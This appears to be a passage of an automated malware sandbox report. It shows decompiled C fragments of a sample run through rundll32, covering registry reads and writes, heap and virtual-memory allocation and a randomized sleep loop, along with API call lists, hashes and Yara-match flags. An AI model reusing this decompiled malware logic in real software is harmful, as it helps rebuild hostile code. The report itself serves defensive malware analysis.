                                            0x04ab2aa5
                                            0x04ab2aa8
                                            0x04ab2aaa
                                            0x04ab2ab2
                                            0x04ab2ab8
                                            0x04ab2abb
                                            0x04ab2abb
                                            0x04ab2ab8
                                            0x04ab2ac6
                                            0x04ab2ac6
                                            0x04ab2a29
                                            0x04ab2a30
                                            0x04ab2a32
                                            0x04ab2a32
                                            0x04ab2a49
                                            0x04ab2a4d
                                            0x04ab2a50
                                            0x04ab2a5b
                                            0x04ab2a62
                                            0x04ab2a62
                                            0x04ab2a6b
                                            0x04ab2a6f
                                            0x04ab2a7d
                                            0x04ab2a71
                                            0x04ab2a71
                                            0x04ab2a72
                                            0x04ab2a73
                                            0x04ab2a74
                                            0x04ab2a75
                                            0x04ab2a76
                                            0x04ab2a76
                                            0x04ab2a82
                                            0x04ab2a85
                                            0x04ab2a89
                                            0x04ab2a8b
                                            0x04ab2a8b
                                            0x04ab2a92
                                            0x00000000
                                            0x04ab2a94
                                            0x04ab2a94
                                            0x04ab2aa1
                                            0x00000000
                                            0x04ab2aa1

                                            APIs
                                            • CreateEventA.KERNEL32(04ABA34C,00000001,00000000,00000040,?,?,76F1F710,00000000,76F1F730), ref: 04AB2A43
                                            • SetEvent.KERNEL32(00000000), ref: 04AB2A50
                                            • Sleep.KERNEL32(00000BB8), ref: 04AB2A5B
                                            • CloseHandle.KERNEL32(00000000), ref: 04AB2A62
                                              • Part of subcall function 04AB737F: RegOpenKeyExA.KERNEL32(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,04AB2A82,?), ref: 04AB73A5
                                              • Part of subcall function 04AB737F: RegEnumKeyExA.KERNEL32(?,?,?,04AB2A82,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,04AB2A82), ref: 04AB73EC
                                              • Part of subcall function 04AB737F: WaitForSingleObject.KERNEL32(00000000,?,?,?,04AB2A82,?,04AB2A82,?,?,?,?,?,04AB2A82,?), ref: 04AB7459
                                              • Part of subcall function 04AB737F: RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,04AB2A82,?), ref: 04AB7481
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: CloseEvent$CreateEnumHandleObjectOpenSingleSleepWait
                                            • String ID:
                                            • API String ID: 891522397-0
                                            • Opcode ID: f86e84f0efbc3bf024e04963b5b73647ba292ceabbc4064510f7956c3b62a907
                                            • Instruction ID: 40e4406a4c548bc3d6572f848c84216b15c54bc6931b2ea11c12054bc790c843
                                            • Opcode Fuzzy Hash: f86e84f0efbc3bf024e04963b5b73647ba292ceabbc4064510f7956c3b62a907
                                            • Instruction Fuzzy Hash: 1621AA73D00219AFDB20AFE489889EE777DEF49354B44446AEA91A7102D734B9458BE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB4E0B Relevance: 6.1, APIs: 4, Instructions: 80registryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB4E0B(int _a4, int _a8, void* _a12, short* _a16, char** _a20, intOrPtr* _a24) {
				long _t26;
				intOrPtr* _t38;
				char* _t42;
				long _t43;

				if(_a4 == 0) {
					L2:
					_t26 = RegOpenKeyW(_a8, _a12,  &_a12); // executed
					_t43 = _t26;
					if(_t43 == 0) {
						RegQueryValueExW(_a12, _a16, 0,  &_a8, 0,  &_a4); // executed
						if(_a4 == 0) {
							_t43 = 0xe8;
						} else {
							_t42 = E04AB4DF6(_a4);
							if(_t42 == 0) {
								_t43 = 8;
							} else {
								_t43 = RegQueryValueExW(_a12, _a16, 0,  &_a8, _t42,  &_a4);
								if(_t43 != 0) {
									E04AB4C73(_t42);
								} else {
									 *_a20 = _t42;
									_t38 = _a24;
									if(_t38 != 0) {
										 *_t38 = _a4;
									}
								}
							}
						}
						RegCloseKey(_a12); // executed
					}
					L12:
					return _t43;
				}
				_t43 = E04AB7849(_a4, _a8, _a12, _a16, _a20, _a24);
				if(_t43 == 0) {
					goto L12;
				}
				goto L2;
			}







                                            0x04ab4e17
                                            0x04ab4e3a
                                            0x04ab4e44
                                            0x04ab4e4a
                                            0x04ab4e4e
                                            0x04ab4e66
                                            0x04ab4e6b
                                            0x04ab4eb3
                                            0x04ab4e6d
                                            0x04ab4e75
                                            0x04ab4e79
                                            0x04ab4eb0
                                            0x04ab4e7b
                                            0x04ab4e8d
                                            0x04ab4e91
                                            0x04ab4ea7
                                            0x04ab4e93
                                            0x04ab4e96
                                            0x04ab4e98
                                            0x04ab4e9d
                                            0x04ab4ea2
                                            0x04ab4ea2
                                            0x04ab4e9d
                                            0x04ab4e91
                                            0x04ab4e79
                                            0x04ab4ebb
                                            0x04ab4ebb
                                            0x04ab4ec2
                                            0x04ab4ec8
                                            0x04ab4ec8
                                            0x04ab4e30
                                            0x04ab4e34
                                            0x00000000
                                            0x00000000
                                            0x00000000

                                            APIs
                                            • RegOpenKeyW.ADVAPI32(80000002,05629EC2,05629EC2), ref: 04AB4E44
                                            • RegQueryValueExW.KERNEL32(05629EC2,?,00000000,80000002,00000000,00000000,?,04AB6EFF,3D04AB90,80000002,04AB2A82,00000000,04AB2A82,?,05629EC2,80000002), ref: 04AB4E66
                                            • RegQueryValueExW.ADVAPI32(05629EC2,?,00000000,80000002,00000000,00000000,00000000,?,04AB6EFF,3D04AB90,80000002,04AB2A82,00000000,04AB2A82,?,05629EC2), ref: 04AB4E8B
                                            • RegCloseKey.KERNEL32(05629EC2,?,04AB6EFF,3D04AB90,80000002,04AB2A82,00000000,04AB2A82,?,05629EC2,80000002,00000000,?), ref: 04AB4EBB
                                              • Part of subcall function 04AB7849: SafeArrayDestroy.OLEAUT32(00000000), ref: 04AB78D1
                                              • Part of subcall function 04AB4C73: RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: QueryValue$ArrayCloseDestroyFreeHeapOpenSafe
                                            • String ID:
                                            • API String ID: 486277218-0
                                            • Opcode ID: 353434d7394bf6581fd6836aa6a88e3b127335f018009e45da6ccc5553fac603
                                            • Instruction ID: 3ebce508437abe493ffde40cddce3a6283ac3e4531d5a9a2db8ff9e6d1a0fbf3
                                            • Opcode Fuzzy Hash: 353434d7394bf6581fd6836aa6a88e3b127335f018009e45da6ccc5553fac603
                                            • Instruction Fuzzy Hash: 8221287350015ABFDF129F94DD808EE7BADFB0C250B058025FE5596222D632AD619BD0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEEF7B Relevance: 6.1, APIs: 4, Instructions: 64memoryregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegQueryValueExA.KERNEL32(05DE6085,?,00000000,05DE6085,00000000,05DE6095,05DE6085,?,?,?,?,05DE62F4,80000001,?,05DE6085,05DE6095), ref: 05DEEFA0
                                            • RtlAllocateHeap.NTDLL(00000000,05DE6095,00000000), ref: 05DEEFB7
                                            • HeapFree.KERNEL32(00000000,00000000,?,05DE62F4,80000001,?,05DE6085,05DE6095,?,05DECC7F,80000001,?,05DE6085), ref: 05DEEFD2
                                            • RegQueryValueExA.KERNEL32(05DE6085,?,00000000,05DE6085,00000000,05DE6095,?,05DE62F4,80000001,?,05DE6085,05DE6095,?,05DECC7F,80000001), ref: 05DEEFF1
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HeapQueryValue$AllocateFree
                                            • String ID:
                                            • API String ID: 4267586637-0
                                            • Opcode ID: 9a5d04721ec36470956a62c8824672127690df23e14f70a8174d79160f2bd34e
                                            • Instruction ID: 6a1227b11ae8e2a2faf3ea70050c2b9f3b3b72cf37961b6d0b4dffa20b0c0c30
                                            • Opcode Fuzzy Hash: 9a5d04721ec36470956a62c8824672127690df23e14f70a8174d79160f2bd34e
                                            • Instruction Fuzzy Hash: 451128B6900118BFDB129F99EC85DEEBFBDFB88660B104067F901A6210D6719E80DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB3E6C Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 48COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 64%
                                            			E04AB3E6C(intOrPtr __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void _v60;
				char _v64;
				long _t14;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t26;
				intOrPtr _t27;
				long _t28;

				_t27 = __edi;
				_t26 = _a8;
				_t14 = E04AB3C00(_a4, _t26, __edi); // executed
				_t28 = _t14;
				if(_t28 != 0) {
					memset( &_v60, 0, 0x38);
					_t18 =  *0x4aba348; // 0xb6d5a8
					_t28 = 0;
					_v64 = 0x3c;
					if(_a12 == 0) {
						_t7 = _t18 + 0x4abb4e8; // 0x70006f
						_t19 = _t7;
					} else {
						_t6 = _t18 + 0x4abb8ec; // 0x750072
						_t19 = _t6;
					}
					_v52 = _t19;
					_push(_t28);
					_v48 = _a4;
					_v44 = _t26;
					_v36 = _t27;
					E04AB37E9();
					_push( &_v64);
					if( *0x4aba100() == 0) {
						_t28 = GetLastError();
					}
					_push(1);
					E04AB37E9();
				}
				return _t28;
			}















                                            0x04ab3e6c
                                            0x04ab3e73
                                            0x04ab3e7c
                                            0x04ab3e81
                                            0x04ab3e85
                                            0x04ab3e8f
                                            0x04ab3e94
                                            0x04ab3e99
                                            0x04ab3e9e
                                            0x04ab3ea8
                                            0x04ab3eb2
                                            0x04ab3eb2
                                            0x04ab3eaa
                                            0x04ab3eaa
                                            0x04ab3eaa
                                            0x04ab3eaa
                                            0x04ab3eb8
                                            0x04ab3ebe
                                            0x04ab3ebf
                                            0x04ab3ec2
                                            0x04ab3ec5
                                            0x04ab3ec8
                                            0x04ab3ed0
                                            0x04ab3ed9
                                            0x04ab3ee1
                                            0x04ab3ee1
                                            0x04ab3ee3
                                            0x04ab3ee5
                                            0x04ab3ee5
                                            0x04ab3eef

                                            APIs
                                              • Part of subcall function 04AB3C00: SysAllocString.OLEAUT32(00000000), ref: 04AB3C5A
                                              • Part of subcall function 04AB3C00: SysAllocString.OLEAUT32(0070006F), ref: 04AB3C6E
                                              • Part of subcall function 04AB3C00: SysAllocString.OLEAUT32(00000000), ref: 04AB3C80
                                            • memset.NTDLL ref: 04AB3E8F
                                            • GetLastError.KERNEL32 ref: 04AB3EDB
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: AllocString$ErrorLastmemset
                                            • String ID: <$@MvNv
                                            • API String ID: 3736384471-1755983381
                                            • Opcode ID: 8676fda07e04654bfbb097a63ca5c7017428b138d09d63c0c24161f8a30bfdd6
                                            • Instruction ID: 13e751b7101ce8d202fc6be6861a41e5c32494046e939d21fe5dbc8488abff12
                                            • Opcode Fuzzy Hash: 8676fda07e04654bfbb097a63ca5c7017428b138d09d63c0c24161f8a30bfdd6
                                            • Instruction Fuzzy Hash: 6F012DB1900228ABEB11EFE5D884EDE7BFCAF08744F004426ED44A7212E775A9458BE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB39B5 Relevance: 6.0, APIs: 4, Instructions: 44sleepthreadtimeCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 65%
                                            			E04AB39B5(void* __ecx, intOrPtr _a4) {
				struct _FILETIME _v12;
				int _t13;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t30;
				signed int _t34;

				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				asm("stosd");
				do {
					_t13 = SwitchToThread();
					GetSystemTimeAsFileTime( &_v12);
					_t23 = _v12.dwHighDateTime;
					_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 5;
					_push(0);
					_push(0x13);
					_push(_t23 >> 5);
					_push(_t16);
					L04AB8326();
					_t34 = _t16 + _t13;
					_t18 = E04AB54D5(_a4, _t34);
					_t30 = _t18;
					_t19 = 3;
					Sleep(_t19 << (_t34 & 0x00000007)); // executed
				} while (_t30 == 1);
				return _t30;
			}











                                            0x04ab39ba
                                            0x04ab39c5
                                            0x04ab39c6
                                            0x04ab39c6
                                            0x04ab39d2
                                            0x04ab39db
                                            0x04ab39de
                                            0x04ab39e2
                                            0x04ab39e4
                                            0x04ab39e9
                                            0x04ab39ea
                                            0x04ab39eb
                                            0x04ab39f5
                                            0x04ab39f8
                                            0x04ab39ff
                                            0x04ab3a03
                                            0x04ab3a0a
                                            0x04ab3a10
                                            0x04ab3a1a

                                            APIs
                                            • SwitchToThread.KERNEL32(?,00000001,?,?,?,04AB3D61,?,?), ref: 04AB39C6
                                            • GetSystemTimeAsFileTime.KERNEL32(00000000,?,00000001,?,?,?,04AB3D61,?,?), ref: 04AB39D2
                                            • _aullrem.NTDLL(00000000,?,00000013,00000000), ref: 04AB39EB
                                              • Part of subcall function 04AB54D5: memcpy.NTDLL(00000000,00000000,?,?,00000000,?,?,?,00000000), ref: 04AB5534
                                            • Sleep.KERNEL32(00000003,00000000,?,00000001,?,?,?,04AB3D61,?,?), ref: 04AB3A0A
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Time$FileSleepSwitchSystemThread_aullremmemcpy
                                            • String ID:
                                            • API String ID: 1610602887-0
                                            • Opcode ID: d44a066328743a0dabd93725f1658c010b742390c8474db6b0b385f27584cab9
                                            • Instruction ID: 49c25fefe30a635c372f5e62acb0c0ddcf73781d888c5494a5956ae4f50dfae8
                                            • Opcode Fuzzy Hash: d44a066328743a0dabd93725f1658c010b742390c8474db6b0b385f27584cab9
                                            • Instruction Fuzzy Hash: B7F0A4B3A002047BE7149BA4DC1DBDF76BDDB84355F140124F602E7240EA78AE018690
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD16A1 Relevance: 6.0, APIs: 4, Instructions: 42stringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • GetProcessImageFileNameW.PSAPI(?,00000000,00000800,00001000,05DF9190,00000000,05DE3103,?,05DDC793,?), ref: 05DD16C0
                                            • PathFindFileNameW.SHLWAPI(00000000,?,?,00000000,00000800,00001000,05DF9190,00000000,05DE3103,?,05DDC793,?), ref: 05DD16CB
                                            • _wcsupr.NTDLL ref: 05DD16D8
                                            • lstrlenW.KERNEL32(00000000), ref: 05DD16E0
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileName$AllocateFindHeapImagePathProcess_wcsuprlstrlen
                                            • String ID:
                                            • API String ID: 2533608484-0
                                            • Opcode ID: 2e6df22df49cc31536d48239feb8bd96ab1346c4c99db3d5fa373fbddcca3c27
                                            • Instruction ID: e345d9011839a7940f7f922855b20f1266074adf1b719ba8ec0631e2f88fe20f
                                            • Opcode Fuzzy Hash: 2e6df22df49cc31536d48239feb8bd96ab1346c4c99db3d5fa373fbddcca3c27
                                            • Instruction Fuzzy Hash: 21F0B4327566117E93516AB85CCDE6BDA6DFF80666720012BF901D2220CE65CC41C2B0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB13F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50memorytimeCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB13F8(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				void* _t11;
				void* _t16;
				short _t19;
				void* _t22;
				void* _t24;
				void* _t25;
				short* _t26;

				_t24 = __edx;
				_t25 = E04AB4208(_t11, _a12);
				if(_t25 == 0) {
					_t22 = 8;
				} else {
					_t26 = _t25 + _a16 * 2;
					 *_t26 = 0; // executed
					_t16 = E04AB56AD(__ecx, _a4, _a8, _t25); // executed
					_t22 = _t16;
					if(_t22 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_t19 = 0x5f;
						 *_t26 = _t19;
						_t22 = E04AB4C88(_t24, _a4, 0x80000001, _a8, _t25,  &_v12, 8);
					}
					HeapFree( *0x4aba2d8, 0, _t25);
				}
				return _t22;
			}











                                            0x04ab13f8
                                            0x04ab1409
                                            0x04ab140d
                                            0x04ab1468
                                            0x04ab140f
                                            0x04ab1416
                                            0x04ab141e
                                            0x04ab1421
                                            0x04ab1426
                                            0x04ab142a
                                            0x04ab1430
                                            0x04ab1438
                                            0x04ab143b
                                            0x04ab1453
                                            0x04ab1453
                                            0x04ab145e
                                            0x04ab145e
                                            0x04ab146f

                                            APIs
                                              • Part of subcall function 04AB4208: lstrlen.KERNEL32(?,00000000,05629DA0,00000000,04AB2263,05629FC3,69B25F44,?,?,?,?,69B25F44,00000005,04ABA00C,4D283A53,?), ref: 04AB420F
                                              • Part of subcall function 04AB4208: mbstowcs.NTDLL ref: 04AB4238
                                              • Part of subcall function 04AB4208: memset.NTDLL ref: 04AB424A
                                            • GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,00000000,76EC5520,00000008,00000014,004F0053,056293CC), ref: 04AB1430
                                            • HeapFree.KERNEL32(00000000,00000000,004F0053,00000014,00000000,00000008,00000000,76EC5520,00000008,00000014,004F0053,056293CC), ref: 04AB145E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
                                            • String ID: Uv
                                            • API String ID: 1500278894-4002285713
                                            • Opcode ID: 53e7529874bfd086f44e5dbff5e83154dcb7039aefeccfd75830f2af11e1ea54
                                            • Instruction ID: 0216ae46ff11da9272de3375ed5874fe804f61e8fc1f95d2b987feb38bb5e7e2
                                            • Opcode Fuzzy Hash: 53e7529874bfd086f44e5dbff5e83154dcb7039aefeccfd75830f2af11e1ea54
                                            • Instruction Fuzzy Hash: 4C018471210209BBEF115F94DC44EDF3F7CEF85754F404025FA409A162E671E955D790
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDA3BD Relevance: 5.1, APIs: 4, Instructions: 110COMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DDA3E3
                                            • memcpy.NTDLL ref: 05DDA40B
                                              • Part of subcall function 05DEAD9E: NtAllocateVirtualMemory.NTDLL(05DD7A68,00000000,00000000,05DD7A68,00003000,00000040), ref: 05DEADCF
                                              • Part of subcall function 05DEAD9E: RtlNtStatusToDosError.NTDLL(00000000), ref: 05DEADD6
                                              • Part of subcall function 05DEAD9E: SetLastError.KERNEL32(00000000), ref: 05DEADDD
                                            • GetLastError.KERNEL32(00000010,00000218,05DF327D,00000100,?,00000318,00000008), ref: 05DDA422
                                            • GetLastError.KERNEL32(00000010,?,00000000,00000318,?,?,?,?,?,?,?,?,00000010,00000218,05DF327D,00000100), ref: 05DDA505
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Error$Last$AllocateMemoryStatusVirtualmemcpymemset
                                            • String ID:
                                            • API String ID: 685050087-0
                                            • Opcode ID: e2b192c9e9c79020618949806f70b1b72a271f4b41bda7cc7dc09debfddb07e7
                                            • Instruction ID: 430f656768fe08f48a7290c28297fac5f386b94e1872ae86fc500de84e11ab88
                                            • Opcode Fuzzy Hash: e2b192c9e9c79020618949806f70b1b72a271f4b41bda7cc7dc09debfddb07e7
                                            • Instruction Fuzzy Hash: 77413AB1644301AFD720DF64DC45FAABBE9FB88310F008A2EF599C6250EB30D5158BA6
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD6B6A Relevance: 4.6, APIs: 3, Instructions: 81registryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DEBAC0: RegCreateKeyA.ADVAPI32(80000001,0637B7F0,?), ref: 05DEBAD5
                                              • Part of subcall function 05DEBAC0: lstrlen.KERNEL32(0637B7F0,00000000,00000000,05DF806E,?,?,?,05DD6B9D,00000001,00000000,?), ref: 05DEBAFE
                                            • RegQueryValueExA.KERNEL32(00000000,?,00000000,?,05DF8068,00000000,00000001,00000000,?,05DF806E,00000000,?,?,?,?,00000000), ref: 05DD6BBE
                                            • RegSetValueExA.KERNEL32(05DF8068,00000003,00000000,00000003,05DF8068,00000028), ref: 05DD6BFF
                                            • RegCloseKey.ADVAPI32(?), ref: 05DD6C0B
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Value$CloseCreateQuerylstrlen
                                            • String ID:
                                            • API String ID: 2552977122-0
                                            • Opcode ID: 07d0908eacb925dbe9c9a71b38cd658564e0e364fbb3d55a9be235c0fb0834e2
                                            • Instruction ID: 335f824a8e60b39c75a4a012010a42461f629c7113c56dd5a4ebaca6310ee75d
                                            • Opcode Fuzzy Hash: 07d0908eacb925dbe9c9a71b38cd658564e0e364fbb3d55a9be235c0fb0834e2
                                            • Instruction Fuzzy Hash: 27314875E00218EFDB21DF98E886EAEBFB8FB04711F504067F405A2340DB309A84DBA1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE6278 Relevance: 4.6, APIs: 3, Instructions: 73registryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE9C23: lstrlen.KERNEL32(?,00000000,?,00000027,05DF9208,?,00000000,?,?,?,?,?,05DDBDC2,?,00000001), ref: 05DE9C59
                                              • Part of subcall function 05DE9C23: lstrcpy.KERNEL32(00000000,00000000), ref: 05DE9C7D
                                              • Part of subcall function 05DE9C23: lstrcat.KERNEL32(00000000,00000000), ref: 05DE9C85
                                            • RegOpenKeyExA.KERNEL32(05DECC7F,00000000,00000000,00020119,80000001,00000000,?,00000000,?,00000000,?,05DECC7F,80000001,?,05DE6085), ref: 05DE62BF
                                            • RegOpenKeyExA.ADVAPI32(05DECC7F,05DECC7F,00000000,00020019,80000001,?,05DECC7F,80000001,?,05DE6085), ref: 05DE62D5
                                            • RegCloseKey.KERNEL32(80000001,80000001,?,05DE6085,05DE6095,?,05DECC7F,80000001,?,05DE6085), ref: 05DE631E
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Open$Closelstrcatlstrcpylstrlen
                                            • String ID:
                                            • API String ID: 4131162436-0
                                            • Opcode ID: e97f26280780571265eb7b5f5372b366d78650351f074e1278a32822391d8474
                                            • Instruction ID: fd01587fec66fa15471ba8f197bdd31159cbcd63502aff62872288b2c34df84d
                                            • Opcode Fuzzy Hash: e97f26280780571265eb7b5f5372b366d78650351f074e1278a32822391d8474
                                            • Instruction Fuzzy Hash: 74214DB2A10209BFCB00EF95DC85CAEBBBDEB09214B044077F901A7210E771AE55DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB250D Relevance: 4.6, APIs: 3, Instructions: 73memorystringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 79%
                                            			E04AB250D(void* __eax, char* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16, void** _a20, intOrPtr* _a24) {
				char _v5;
				signed int _v12;
				intOrPtr _v16;
				char _t28;
				void* _t33;
				void* _t38;
				void* _t45;
				char* _t46;
				void* _t48;
				char* _t56;
				char* _t57;
				intOrPtr _t59;
				void* _t60;

				_t56 = _a4;
				_t60 = __eax;
				_v12 = 0xb;
				if(_t56 != 0 && __eax != 0) {
					_t5 = _t60 - 1; // -1
					_t46 =  &(_t56[_t5]);
					_t28 =  *_t46;
					_v5 = _t28;
					 *_t46 = 0;
					__imp__(_a8, _t45);
					_v16 = _t28;
					_t57 = StrStrA(_t56, _a8);
					if(_t57 != 0) {
						 *_t46 = _v5;
						_t33 = RtlAllocateHeap( *0x4aba2d8, 0, _a16 + _t60); // executed
						_t48 = _t33;
						if(_t48 == 0) {
							_v12 = 8;
						} else {
							_t58 = _t57 - _a4;
							E04AB799E(_t57 - _a4, _a4, _t48);
							_t38 = E04AB799E(_a16, _a12, _t58 + _t48);
							_t53 = _v16;
							_t59 = _a16;
							E04AB799E(_t60 - _t58 - _v16, _t53 + _t58 + _a4, _t38 + _t59);
							 *_a20 = _t48;
							_v12 = _v12 & 0x00000000;
							 *_a24 = _t60 - _v16 + _t59;
						}
					}
				}
				return _v12;
			}
















                                            0x04ab2515
                                            0x04ab2518
                                            0x04ab251a
                                            0x04ab2523
                                            0x04ab2535
                                            0x04ab2535
                                            0x04ab2539
                                            0x04ab253b
                                            0x04ab253e
                                            0x04ab2541
                                            0x04ab254a
                                            0x04ab2554
                                            0x04ab2558
                                            0x04ab255d
                                            0x04ab256d
                                            0x04ab2573
                                            0x04ab2577
                                            0x04ab25c6
                                            0x04ab2579
                                            0x04ab2579
                                            0x04ab2582
                                            0x04ab2591
                                            0x04ab2596
                                            0x04ab25a3
                                            0x04ab25ac
                                            0x04ab25b7
                                            0x04ab25be
                                            0x04ab25c2
                                            0x04ab25c2
                                            0x04ab2577
                                            0x04ab25cd
                                            0x04ab25d4

                                            APIs
                                            • lstrlen.KERNEL32(76F1F710,?,00000000,?,76F1F710), ref: 04AB2541
                                            • StrStrA.SHLWAPI(00000000,?), ref: 04AB254E
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 04AB256D
